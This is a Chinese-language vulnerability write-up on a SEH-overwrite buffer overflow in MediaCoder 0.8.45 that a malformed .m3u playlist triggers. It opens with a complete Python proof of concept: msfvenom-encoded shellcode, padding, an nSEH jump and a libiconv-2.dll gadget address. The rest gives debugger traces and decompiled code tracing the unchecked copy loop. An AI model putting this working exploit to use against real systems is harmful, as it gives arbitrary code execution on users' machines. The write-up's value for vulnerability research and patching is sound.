作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/bab45ceeba55cbe48a49ead4e6787fd0-MediaCoder-0.8.45.5852.exe
PoC:
#!/usr/bin/python
total_buf = 5000
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -b '\x00\x0a\x0d\xff' -f c
# Payload size: 455 bytes
shellcode = ("\x89\xe1\xda\xcc\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x55\x50"
"\x45\x50\x35\x50\x53\x50\x4c\x49\x4b\x55\x46\x51\x59\x50\x55"
"\x34\x4c\x4b\x30\x50\x56\x50\x4c\x4b\x31\x42\x54\x4c\x4c\x4b"
"\x46\x32\x44\x54\x4c\x4b\x32\x52\x47\x58\x34\x4f\x58\x37\x50"
"\x4a\x47\x56\x50\x31\x4b\x4f\x4e\x4c\x37\x4c\x43\x51\x53\x4c"
"\x53\x32\x36\x4c\x51\x30\x59\x51\x58\x4f\x34\x4d\x35\x51\x48"
"\x47\x4a\x42\x5a\x52\x36\x32\x46\x37\x4c\x4b\x56\x32\x52\x30"
"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x32\x58\x4d"
"\x33\x30\x48\x33\x31\x38\x51\x46\x31\x4c\x4b\x50\x59\x31\x30"
"\x33\x31\x49\x43\x4c\x4b\x30\x49\x55\x48\x5a\x43\x36\x5a\x47"
"\x39\x4c\x4b\x30\x34\x4c\x4b\x45\x51\x39\x46\x36\x51\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x44\x4d\x53\x31\x58\x47\x56\x58\x4d"
"\x30\x33\x45\x4b\x46\x54\x43\x43\x4d\x4c\x38\x47\x4b\x53\x4d"
"\x37\x54\x54\x35\x5a\x44\x51\x48\x4c\x4b\x30\x58\x57\x54\x35"
"\x51\x4e\x33\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x43\x31\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x35\x51\x48"
"\x50\x4b\x39\x51\x54\x56\x44\x46\x44\x51\x4b\x31\x4b\x43\x51"
"\x46\x39\x30\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x52\x32\x4a\x4b\x4c\x4d\x51\x4d\x52\x4a\x43\x31"
"\x4c\x4d\x4c\x45\x4f\x42\x43\x30\x55\x50\x33\x30\x30\x50\x33"
"\x58\x56\x51\x4c\x4b\x32\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b"
"\x4a\x50\x38\x35\x4e\x42\x31\x46\x53\x58\x49\x36\x5a\x35\x4f"
"\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x33\x4c\x35\x5a"
"\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x33\x35\x4f\x4b\x31\x57\x44"
"\x53\x52\x52\x52\x4f\x33\x5a\x33\x30\x36\x33\x4b\x4f\x58\x55"
"\x42\x43\x45\x31\x52\x4c\x35\x33\x56\x4e\x55\x35\x54\x38\x32"
"\x45\x53\x30\x41\x41")
junk = "http:// "
junk += "A"*784
nseh = "\xEB\x06\x90\x90"
seh = "\x38\x78\x01\x66" # PPR - 0x66017838 - libiconv-2.dll
evil = junk + nseh + seh
evil += "\x90"*50 + shellcode
evil += "\x90"*3000
file = open("evil.m3u", "wb")
file.write (evil)
file.close()
运行PoC会生成一个m3u文件,用存在漏洞的播放器打开即可
漏洞复现
此漏洞是由于MediaCoder在处理.m3u文件的时候由于没有对文件内容进行检查,导致后续函数中会加载文件内容,连续读取时由于某处内容不可读,引发SEH异常处理,通过覆盖SEH指针达到任意代码执行,下面对此漏洞进行详细分析。
首先打开文件,附加Windbg,到达漏洞现场。
(724.d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000090 ebx=77d2f3c2 ecx=0135a111 edx=fedd5ef0 esi=00547c38 edi=000302a6
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210286
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff mov byte ptr [edx+ecx-1],al ds:0023:00130000=41
此时引用了无效指针,再次执行时到达可控位置
(ea0.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00547c38 ebx=01390d48 ecx=01312050 edx=0000012f esi=000d01c8 edi=00547c38
eip=41414141 esp=0012f4e4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
通过kb回溯堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e760 0043cbc8 00000000 01390c80 00177240 MediaCoder!IMG_InvertAlpha+0x1bd20
0012e918 00409f2a 00000002 01390c80 01390c80 MediaCoder!IMG_InvertAlpha+0x282c8
0012eab4 004448de 0005027e 00177240 00444330 MediaCoder!IMG_LoadWEBP_RW+0x2dca
就从0043cbc8位置所处的函数开始进行分析。
漏洞分析
在外层函数中追踪到了一个比较有趣的参数传递过程,首先通过IDA来看一下伪代码部分。
void __fastcall sub_43C020(int a1, int a2, signed int a3)
{
……
if ( a3 < 2 )
goto LABEL_113;
v23 = sub_429760();
v25 = v23;
if ( !v25 )
{
v94 = *(HWND *)(v3 + 4);
*(_DWORD *)(v3 + 28) = 1087;
v95 = GetDlgItem(v94, 1087);
*(_DWORD *)(v3 + 32) = v95;
sub_430620(v95, 0, 0);
LABEL_109:
if ( a3 >= 3 )
sub_43BF10(-1);
if ( a3 >= 4 )
(*(void (__thiscall **)(int))(*(_DWORD *)v3 + 224))(v3);
LABEL_113:
--*(_DWORD *)(v3 + 52);
sub_42EC60(v3);
return;
}
if ( *(_DWORD *)(v25 + 8) )
{
sub_455C70((LPVOID)v25, 0);
v27 = sub_4D6540(*(_DWORD *)(v25 + 8), 92);
v110 = v27 + 1;
if ( v27 )
goto LABEL_39;
v28 = *(char **)(v25 + 8);
}
else
{
v28 = CStringTable::GetString((CStringTable *)&unk_561848, "original", 0, 0);
}
}
v23在执行一次函数过后会获取到一个指针地址,这个地址随后会交给v25,这个值就是从文件中读取的文件内容。
Breakpoint 0 hit
eax=013b8e50 ebx=01390bb0 ecx=00000000 edx=0000005c esi=00090240 edi=00547c38
eip=0043c331 esp=0012f4e8 ebp=0012f694 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
MediaCoder!IMG_InvertAlpha+0x27a31:
0043c331 8945dc mov dword ptr [ebp-24h],eax ss:0023:0012f670=00000001
0:000> dc eax
013b8e50 70747468 202f2f3a 41414141 41414141 http:// AAAAAAAA
013b8e60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
此时eax已经读取到了畸形字符串的地址头部,接下来会进行传递,在刚才伪代码后面会进行一次if判断,主要是对v25+8的值进行判断,这个值,其实就是后续传递的存在问题的畸形字符串地址。
if ( *(_DWORD *)(v25 + 8) )
直接动态跟踪一下这个过程,这里edi+8实际上就是畸形字符串地址,这里会与0作比较,其实就是进行了一次if语句判断,若为0,则不进入,不为0,则进入,明显这里要进入if语句。
Breakpoint 0 hit
eax=00000001 ebx=01390bb0 ecx=00000001 edx=0cad0002 esi=00120230 edi=00547c38
eip=0043c2f5 esp=0012f4e8 ebp=0012f694 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MediaCoder!IMG_InvertAlpha+0x279f5:
0043c2f5 837f0800 cmp dword ptr [edi+8],0 ds:0023:00547c40=013b8e50
0:000> dd edi+8
00547c40 013b8e50 00000000 00000000 00000000
0:000> dd 013b8e50
013b8e50 70747468 202f2f3a 41414141 41414141
013b8e60 41414141 41414141 41414141 41414141
013b8e70 41414141 41414141 41414141 41414141
013b8e80 41414141 41414141 41414141 41414141
013b8e90 41414141 41414141 41414141 41414141
013b8ea0 41414141 41414141 41414141 41414141
013b8eb0 41414141 41414141 41414141 41414141
013b8ec0 41414141 41414141 41414141 41414141
在if语句的最后,会对v28进行一次赋值,赋值之后v28就是畸形字符串的地址了,可以看到到现在并没有对文件的长度进行检查,接下来继续动态跟踪,先看一下IDA伪代码部分。
v110 = (int)v28;
LABEL_39:
sub_430620(v26, v25, v110);
v28会交给v110,而随后,sub_430620会调用到v110,到畸形字符串传入时并没有对长度进行检查。观察一下传参部分。
Breakpoint 0 hit
eax=000f0230 ebx=01390bb0 ecx=000f0230 edx=00000000 esi=000f0230 edi=00000000
eip=00430620 esp=0012e764 ebp=0012e918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
MediaCoder!IMG_InvertAlpha+0x1bd20:
00430620 55 push ebp
0:000> dd esp
0012f4e0 0043cb95 013b8e50 000c02a8 01390bb0
0012f4f0 01390bb0 00000020 000c02a8 0012f518
0012f500 5d1c31a2 000c02a8 00000020 003002a2
0012f510 02000001 01355230 0012f574 0012f528
0012f520 5d176074 0012f59c 0012f574 5d176041
0012f530 0012f59c 5d176049 000c02a8 01355230
0012f540 00000000 5d1c3149 0006045a 00000001
0012f550 00000000 0012f59c 77d2934b 000c02a8
0:000> dc 013b8e50
013b8e50 70747468 202f2f3a 41414141 41414141 http:// AAAAAAAA
013b8e60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8e90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8ea0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
013b8eb0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
进入后对此函数进行单步跟踪,发现函数会进入一处循环操作。
.text:004306B0 loc_4306B0: ; CODE XREF: sub_430620+9Bj
.text:004306B0 mov al, [ecx]
.text:004306B2 lea ecx, [ecx+1]
.text:004306B5 mov [edx+ecx-1], al
.text:004306B9 test al, al
.text:004306BB jnz short loc_4306B0
这个循环会不断进行赋值,来看一下动态跟踪的过程。
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e51 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b2 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb2:
004306b2 8d4901 lea ecx,[ecx+1]
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff mov byte ptr [edx+ecx-1],al ds:0023:0012f381=00
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b9 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
MediaCoder!IMG_InvertAlpha+0x1bdb9:
004306b9 84c0 test al,al
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306bb esp=0012f300 ebp=0012f4dc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
MediaCoder!IMG_InvertAlpha+0x1bdbb:
004306bb 75f3 jne MediaCoder!IMG_InvertAlpha+0x1bdb0 (004306b0) [br=1]
0:000> p
eax=00000074 ebx=77d2f3c2 ecx=013b8e52 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b0 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
MediaCoder!IMG_InvertAlpha+0x1bdb0:
004306b0 8a01 mov al,byte ptr [ecx] ds:0023:013b8e52=74
0:000> g
(d68.d6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000090 ebx=77d2f3c2 ecx=013b9ad1 edx=fed76530 esi=00547c38 edi=000f0230
eip=004306b5 esp=0012f300 ebp=0012f4dc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210286
MediaCoder!IMG_InvertAlpha+0x1bdb5:
004306b5 88440aff mov byte ptr [edx+ecx-1],al ds:0023:00130000=41
在赋值到41的时候程序产生错误,导致进入SEH异常处理,通过IDA看一下这个函数的代码部分。
int __usercall sub_430620@<eax>(HWND hWnd@<ecx>, int a2@<edx>, int a3)
{
v3 = a2;
v104 = a2;
v4 = hWnd;
sub_4D7040(&lParam, 0, 68);
v107 = 9;
lParam = -65536;
v106 = -65534;
v110 = v112;
v108 = 32;
v109 = 32;
if ( !v3 || sub_455C70((LPVOID)v3, 0) )
{
v101 = CStringTable::GetString((CStringTable *)&unk_561848, "selfile", 0, 0);
sub_402380(v112, "(%s)", v101);
return SendMessageA(v4, 0x1100u, 0, (LPARAM)&lParam);
}
v5 = (char *)a3;
if ( a3 )
{
do
{
v6 = *v5++;
v5[(_DWORD)&v112[-a3] - 1] = v6;
}
while ( v6 );
lParam = SendMessageA(v4, 0x1100u, 0, (LPARAM)&lParam);
}
a3作为畸形字符串传入,在里面将a3交给v5,随后v5在do while循环中进行连续赋值,由于指针引用导致的程序出现问题,进入SEH异常处理,随后到达可控位置。
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00547c38 ebx=01390d48 ecx=01312050 edx=0000012f esi=000d01c8 edi=00547c38
eip=41414141 esp=0012f4e4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
总结一下这个漏洞利用,仍然是由于对于文件的长度没有进行长度控制,从而导致后续函数处理调用畸形字符串时导致程序指针引用异常,进入SEH处理,从而引发任意代码执行。